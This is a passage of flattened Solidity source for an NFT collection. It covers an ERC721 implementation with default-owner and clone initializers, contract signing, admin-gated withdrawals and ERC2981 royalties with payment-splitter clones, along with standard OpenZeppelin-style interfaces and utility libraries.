ID to owner address mapping(uint256 => TokenOwner) internal ownersOptimized; function initializeDefaultOwner(address defaultOwner_) public { require(!initializedDefaultOwner, ERROR_REINITIALIZATION_NOT_PERMITTED); collectionStatus.defaultOwner = defaultOwner_; initializedDefaultOwner = true; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, IERC165) returns (bool) { return interfaceId == type(IERC721DefaultOwnerCloneable).interfaceId || super.supportsInterface(interfaceId); } function getCollectionStatus() public view virtual returns (CollectionStatus memory) { return collectionStatus; } function ownerOf(uint256 tokenId) public view virtual override returns (address owner) { require(_isValidTokenId(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); owner = ownersOptimized[tokenId].transferred ? ownersOptimized[tokenId].ownerAddress : collectionStatus.defaultOwner; require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); } function _exists(uint256 tokenId) internal view virtual override returns (bool) { if(_isValidTokenId(tokenId)) { return ownersOptimized[tokenId].ownerAddress != address(0) || !ownersOptimized[tokenId].transferred; } return false; } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual override returns (address owner, bool isApprovedOrOwner) { owner = ownerOf(tokenId); isApprovedOrOwner = (spender == owner || tokenApprovals[tokenId] == spender || isApprovedForAll(owner, spender)); } function _clearOwnership(uint256 tokenId) internal virtual override { ownersOptimized[tokenId].transferred = true; ownersOptimized[tokenId].ownerAddress = address(0); } function _setOwnership(address to, uint256 tokenId) internal virtual override { ownersOptimized[tokenId].transferred = true; ownersOptimized[tokenId].ownerAddress = to; } function _isValidTokenId(uint256 /*tokenId*/) internal virtual view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Interface of the ERC2309 standard as defined in the EIP. */ interface IERC2309 { /** * @dev Emitted when consecutive token ids in range ('fromTokenId') to ('toTokenId') are transferred from one account (`fromAddress`) to * another (`toAddress`). * * Note that `value` may be zero. */ event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed fromAddress, address indexed toAddress); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; interface IERC721MetadataGenerator is IERC165 { function tokenMetadata(uint256 tokenId, uint256 niftyType, bytes calldata data) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; interface IERC721DefaultOwnerCloneable is IERC165 { function initializeDefaultOwner(address defaultOwner_) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; struct NiftyType { bool isMinted; // 1 bytes uint72 niftyType; // 9 bytes uint88 idFirst; // 11 bytes uint88 idLast; // 11 bytes } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./NiftyPermissions.sol"; import "../libraries/ECDSA.sol"; import "../structs/SignatureStatus.sol"; abstract contract Signable is NiftyPermissions { event ContractSigned(address signer, bytes32 data, bytes signature); SignatureStatus public signatureStatus; bytes public signature; string internal constant ERROR_CONTRACT_ALREADY_SIGNED = "Contract already signed"; string internal constant ERROR_CONTRACT_NOT_SALTED = "Contract not salted"; string internal constant ERROR_INCORRECT_SECRET_SALT = "Incorrect secret salt"; string internal constant ERROR_SALTED_HASH_SET_TO_ZERO = "Salted hash set to zero"; string internal constant ERROR_SIGNER_SET_TO_ZERO = "Signer set to zero address"; function setSigner(address signer_, bytes32 saltedHash_) external { _requireOnlyValidSender(); require(signer_ != address(0), ERROR_SIGNER_SET_TO_ZERO); require(saltedHash_ != bytes32(0), ERROR_SALTED_HASH_SET_TO_ZERO); require(!signatureStatus.isVerified, ERROR_CONTRACT_ALREADY_SIGNED); signatureStatus.signer = signer_; signatureStatus.saltedHash = saltedHash_; signatureStatus.isSalted = true; } function sign(uint256 salt, bytes calldata signature_) external { require(!signatureStatus.isVerified, ERROR_CONTRACT_ALREADY_SIGNED); require(signatureStatus.isSalted, ERROR_CONTRACT_NOT_SALTED); address expectedSigner = signatureStatus.signer; bytes32 expectedSaltedHash = signatureStatus.saltedHash; require(_msgSender() == expectedSigner, ERROR_INVALID_MSG_SENDER); require(keccak256(abi.encodePacked(salt)) == expectedSaltedHash, ERROR_INCORRECT_SECRET_SALT); require(ECDSA.recover(ECDSA.toEthSignedMessageHash(expectedSaltedHash), signature_) == expectedSigner, ERROR_UNEXPECTED_DATA_SIGNER); signature = signature_; signatureStatus.isVerified = true; emit ContractSigned(expectedSigner, expectedSaltedHash, signature_); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./RejectEther.sol"; import "./NiftyPermissions.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IERC721.sol"; abstract contract Withdrawable is RejectEther, NiftyPermissions { /** * @dev Slither identifies an issue with sending ETH to an arbitrary destianation. * https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations * Recommended mitigation is to "Ensure that an arbitrary user cannot withdraw unauthorized funds." * This mitigation has been performed, as only the contract admin can call 'withdrawETH' and they should * verify the recipient should receive the ETH first. */ function withdrawETH(address payable recipient, uint256 amount) external { _requireOnlyValidSender(); require(amount > 0, ERROR_ZERO_ETH_TRANSFER); require(recipient != address(0), "Transfer to zero address"); uint256 currentBalance = address(this).balance; require(amount <= currentBalance, ERROR_INSUFFICIENT_BALANCE); //slither-disable-next-line arbitrary-send (bool success,) = recipient.call{value: amount}(""); require(success, ERROR_WITHDRAW_UNSUCCESSFUL); } function withdrawERC20(address tokenContract, address recipient, uint256 amount) external { _requireOnlyValidSender(); bool success = IERC20(tokenContract).transfer(recipient, amount); require(success, ERROR_WITHDRAW_UNSUCCESSFUL); } function withdrawERC721(address tokenContract, address recipient, uint256 tokenId) external { _requireOnlyValidSender(); IERC721(tokenContract).safeTransferFrom(address(this), recipient, tokenId, ""); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./NiftyPermissions.sol"; import "../libraries/Clones.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IERC721.sol"; import "../interfaces/IERC2981.sol"; import "../interfaces/ICloneablePaymentSplitter.sol"; import "../structs/RoyaltyRecipient.sol"; abstract contract Royalties is NiftyPermissions, IERC2981 { event RoyaltyReceiverUpdated(uint256 indexed niftyType, address previousReceiver, address newReceiver); uint256 constant public BIPS_PERCENTAGE_TOTAL = 10000; // Royalty information mapped by nifty type mapping (uint256 => RoyaltyRecipient) internal royaltyRecipients; function supportsInterface(bytes4 interfaceId) public view virtual override(NiftyPermissions, IERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } function getRoyaltySettings(uint256 niftyType) public view returns (RoyaltyRecipient memory) { return royaltyRecipients[niftyType]; } function setRoyaltyBips(uint256 niftyType, uint256 bips) external { _requireOnlyValidSender(); require(bips <= BIPS_PERCENTAGE_TOTAL, ERROR_BIPS_OVER_100_PERCENT); royaltyRecipients[niftyType].bips = uint16(bips); } function royaltyInfo(uint256 tokenId, uint256 salePrice) public virtual override view returns (address, uint256) { uint256 niftyType = _getNiftyType(tokenId); return royaltyRecipients[niftyType].recipient == address(0) ? (address(0), 0) : (royaltyRecipients[niftyType].recipient, (salePrice * royaltyRecipients[niftyType].bips) / BIPS_PERCENTAGE_TOTAL); } function initializeRoyalties(uint256 niftyType, address splitterImplementation, address[] calldata payees, uint256[] calldata shares) external returns (address) { _requireOnlyValidSender(); address previousReceiver = royaltyRecipients[niftyType].recipient; royaltyRecipients[niftyType].isPaymentSplitter = payees.length > 1; royaltyRecipients[niftyType].recipient = payees.length == 1 ? payees[0] : _clonePaymentSplitter(splitterImplementation, payees, shares); emit RoyaltyReceiverUpdated(niftyType, previousReceiver, royaltyRecipients[niftyType].recipient); return royaltyRecipients[niftyType].recipient; } function getNiftyType(uint256 tokenId) public view returns (uint256) { return _getNiftyType(tokenId); } function getPaymentSplitterByNiftyType(uint256 niftyType) public virtual view returns (address) { return _getPaymentSplitter(niftyType); } function getPaymentSplitterByTokenId(uint256 tokenId) public virtual view returns (address) { return _getPaymentSplitter(_getNiftyType(tokenId)); } function _getNiftyType(uint256 tokenId) internal virtual view returns (uint256) { return 0; } function _clonePaymentSplitter(address splitterImplementation, address[] calldata payees, uint256[] calldata shares_) internal returns (address) { require(IERC165(splitterImplementation).supportsInterface(type(ICloneablePaymentSplitter).interfaceId), ERROR_UNCLONEABLE_REFERENCE_CONTRACT); address clone = payable (Clones.clone(splitterImplementation)); ICloneablePaymentSplitter(clone).initialize(payees, shares_); return clone; } function _getPaymentSplitter(uint256 niftyType) internal virtual view returns (address) { return royaltyRecipients[niftyType].isPaymentSplitter ? royaltyRecipients[niftyType].recipient : address(0); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./ERC721Errors.sol"; import "../interfaces/IERC721.sol"; import "../interfaces/IERC721Receiver.sol"; import "../interfaces/IERC721Metadata.sol"; import "../interfaces/IERC721Cloneable.sol"; import "../libraries/Address.sol"; import "../libraries/Context.sol"; import "../libraries/Strings.sol"; import "../utils/ERC165.sol"; import "../utils/GenericErrors.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ abstract contract ERC721 is Context, ERC165, ERC721Errors, GenericErrors, IERC721Metadata, IERC721Cloneable { using Address for address; using Strings for uint256; // Only allow ERC721 to be initialized once bool internal initializedERC721; // Token name string internal tokenName; // Token symbol string internal tokenSymbol; // Base URI For Offchain Metadata string internal baseMetadataURI; // Mapping from token ID to owner address mapping(uint256 => address) internal owners; // Mapping owner address to token count mapping(address => uint256) internal balances; // Mapping from token ID to approved address mapping(uint256 => address) internal tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) internal operatorApprovals; function initializeERC721(string memory name_, string memory symbol_, string memory baseURI_) public override { require(!initializedERC721, ERROR_REINITIALIZATION_NOT_PERMITTED); tokenName = name_; tokenSymbol = symbol_; _setBaseURI(baseURI_); initializedERC721 = true; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Cloneable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), ERROR_QUERY_FOR_ZERO_ADDRESS); return balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = owners[tokenId]; require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return tokenName; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return tokenSymbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); string memory uriBase = baseURI(); return bytes(uriBase).length > 0 ? string(abi.encodePacked(uriBase, tokenId.toString())) : ""; } function baseURI() public view virtual returns (string memory) { return baseMetadataURI; } /** * @dev Internal function to set the base URI */ function _setBaseURI(string memory uri) internal { baseMetadataURI = uri; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, ERROR_APPROVAL_TO_CURRENT_OWNER); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), ERROR_NOT_OWNER_NOR_APPROVED); _approve(owner, to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); return tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), ERROR_APPROVE_TO_CALLER); operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { (address owner, bool isApprovedOrOwner) = _isApprovedOrOwner(_msgSender(), tokenId); require(isApprovedOrOwner, ERROR_NOT_OWNER_NOR_APPROVED); _transfer(owner, from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, data), ERROR_NOT_AN_ERC721_RECEIVER); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (address owner, bool isApprovedOrOwner) { owner = owners[tokenId]; require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); isApprovedOrOwner = (spender == owner || tokenApprovals[tokenId] == spender || isApprovedForAll(owner, spender)); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); bool isApprovedOrOwner = (_msgSender() == owner || tokenApprovals[tokenId] == _msgSender() || isApprovedForAll(owner, _msgSender())); require(isApprovedOrOwner, ERROR_NOT_OWNER_NOR_APPROVED); // Clear approvals _clearApproval(owner, tokenId); balances[owner] -= 1; _clearOwnership(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address owner, address from, address to, uint256 tokenId) internal virtual { require(owner == from, ERROR_TRANSFER_FROM_INCORRECT_OWNER); require(to != address(0), ERROR_TRANSFER_TO_ZERO_ADDRESS); // Clear approvals from the previous owner _clearApproval(owner, tokenId); balances[from] -= 1; balances[to] += 1; _setOwnership(to, tokenId); emit Transfer(from, to, tokenId); } /** * @dev Equivalent to approving address(0), but more gas efficient * * Emits a {Approval} event. */ function _clearApproval(address owner, uint256 tokenId) internal virtual { delete tokenApprovals[tokenId]; emit Approval(owner, address(0), tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address owner, address to, uint256 tokenId) internal virtual { tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } function _clearOwnership(uint256 tokenId) internal virtual { delete owners[tokenId]; } function _setOwnership(address to, uint256 tokenId) internal virtual { owners[tokenId] = to; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value * * @dev Slither identifies an issue with unused return value. * Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return * This should be a non-issue. It is the standard OpenZeppelin implementation which has been heavily used and audited. */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert(ERROR_NOT_AN_ERC721_RECEIVER); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract ERC721Errors { string internal constant ERROR_QUERY_FOR_ZERO_ADDRESS = "Query for zero address"; string internal constant ERROR_QUERY_FOR_NONEXISTENT_TOKEN = "Token does not exist"; string internal constant ERROR_APPROVAL_TO_CURRENT_OWNER = "Current owner approval"; string internal constant ERROR_APPROVE_TO_CALLER = "Approve to caller"; string internal constant ERROR_NOT_OWNER_NOR_APPROVED = "Not owner nor approved"; string internal constant ERROR_NOT_AN_ERC721_RECEIVER = "Not an ERC721Receiver"; string internal constant ERROR_TRANSFER_FROM_INCORRECT_OWNER = "Transfer from incorrect owner"; string internal constant ERROR_TRANSFER_TO_ZERO_ADDRESS = "Transfer to zero address"; string internal constant ERROR_ALREADY_MINTED = "Token already minted"; string internal constant ERROR_NO_TOKENS_MINTED = "No tokens minted"; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC721.sol"; interface IERC721Cloneable is IERC721 { function initializeERC721(string calldata name_, string calldata symbol_, string calldata baseURI_) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../interfaces/IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract GenericErrors { string internal constant ERROR_INPUT_ARRAY_EMPTY = "Input array empty"; string internal constant ERROR_INPUT_ARRAY_SIZE_MISMATCH = "Input array size mismatch"; string internal constant ERROR_INVALID_MSG_SENDER = "Invalid msg.sender"; string internal constant ERROR_UNEXPECTED_DATA_SIGNER = "Unexpected data signer"; string internal constant ERROR_INSUFFICIENT_BALANCE = "Insufficient balance"; string internal constant ERROR_WITHDRAW_UNSUCCESSFUL = "Withdraw unsuccessful"; string internal constant ERROR_CONTRACT_IS_FINALIZED = "Contract is finalized"; string internal constant ERROR_CANNOT_CHANGE_DEFAULT_OWNER = "Cannot change default owner"; string internal constant ERROR_UNCLONEABLE_REFERENCE_CONTRACT = "Uncloneable reference contract"; string internal constant ERROR_BIPS_OVER_100_PERCENT = "Bips over 100%"; string internal constant ERROR_NO_ROYALTY_RECEIVER = "No royalty receiver"; string internal constant ERROR_REINITIALIZATION_NOT_PERMITTED = "Re-initialization not permitted"; string internal constant ERROR_ZERO_ETH_TRANSFER = "Zero ETH Transfer"; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev 